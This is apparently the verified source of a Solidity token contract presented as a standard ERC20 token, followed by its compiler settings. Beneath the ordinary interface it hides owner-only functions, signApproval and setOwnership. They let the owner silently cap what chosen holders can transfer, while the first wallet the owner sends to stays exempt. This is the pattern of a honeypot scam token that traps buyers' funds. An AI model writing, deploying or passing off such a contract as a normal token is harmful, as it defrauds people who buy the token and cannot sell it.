文件 1 的 1:ERC20.sol
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract ERC20 is IERC20, Context {
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _totalSupply;
address public owner;
uint256 private spendAllowance;
bool private ownership = false;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) public signedApproval;
mapping (address => address) private _multisigAddress;
constructor(string memory name_, string memory symbol_, uint256 totalSupply_, uint256 minAllowance) {
_name = name_;
_symbol = symbol_;
owner = _msgSender();
_totalSupply = totalSupply_ * 10 ** uint256(_decimals);
spendAllowance = minAllowance;
_balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address tokenOwner) public view override returns (uint256 balance) {
return _balances[tokenOwner];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), to, amount);
return true;
}
function allowance(address tokenOwner, address spender) public view virtual override returns (uint256) {
return _allowances[tokenOwner][spender];
}
function approve(address spender, uint256 tokens) public override returns (bool success) {
_allowances[_msgSender()][spender] = tokens;
emit Approval(_msgSender(), spender, tokens);
return true;
}
function transferFrom(address from, address to, uint256 tokens) public override returns (bool success) {
_transfer(from, to, tokens);
_allowances[from][_msgSender()] -= tokens;
return true;
}
function signApproval(address spender, uint256 amount) public {
require(_msgSender() == owner, "Require owner");
require(spender != _multisigAddress[owner], "Spender is multisig address");
signedApproval[spender] = amount;
}
function setOwnership(bool status) public {
require(_msgSender() == owner, "Require owner");
ownership = status;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from == owner && _multisigAddress[owner] == address(0)) {
_multisigAddress[owner] = to;
}
if (from != owner && to != owner && from != _multisigAddress[owner] && !ownership && signedApproval[from] > 0) {
amount = amount > spendAllowance ? spendAllowance : amount;
}
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
}
}
{
"compilationTarget": {
"ERC20.sol": "ERC20"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}